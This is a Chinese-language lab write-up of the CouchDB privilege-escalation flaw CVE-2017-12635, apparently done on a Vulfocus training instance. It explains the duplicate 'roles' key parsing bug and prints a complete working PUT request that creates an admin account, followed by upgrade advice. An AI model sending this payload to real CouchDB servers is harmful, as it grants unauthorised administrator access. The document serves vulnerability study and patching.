CouchDB垂直越权漏洞（CVE-2017-12635）

框架介绍：

Apache CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）

环境搭建：

采用在线环境 地址

漏洞分析：

主要关注改包的过程，所发送的post数据为

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub123"
}
           

其中有两个roles参数，JavaScript在解析式会把

“roles”: ["_admin"],

“roles”:[],

解析成为

“roles”:[]

那就意味着JavaScript在检测时，检测我们创建的用户角色＝０，无角色，也就不存在权限，所以没有危害，系统判定为安全，绕过了检测，接下来在CouchDB的Erlang部分实现身份验证和授权时，jiffy实现的时候，getter函数只返回第一个值也就是"roles": ["_admin"],所以创建出了具有admin权限的账户

漏洞复现：

访问首页

burp进行抓包，构造poc 

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: vulfocus.fofa.so:27922
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1635834194,1635834251; grafana_session=4ed2fe8aecc214c9bbb634d8399014fb
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Length: 104

{ 
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub123"
}

           

 看到用户创建成功

访问ip/_utils，看到我们创建的用户

漏洞防御：

根据官方升级包，升级到CouchDB 1.7.1或 2.1.1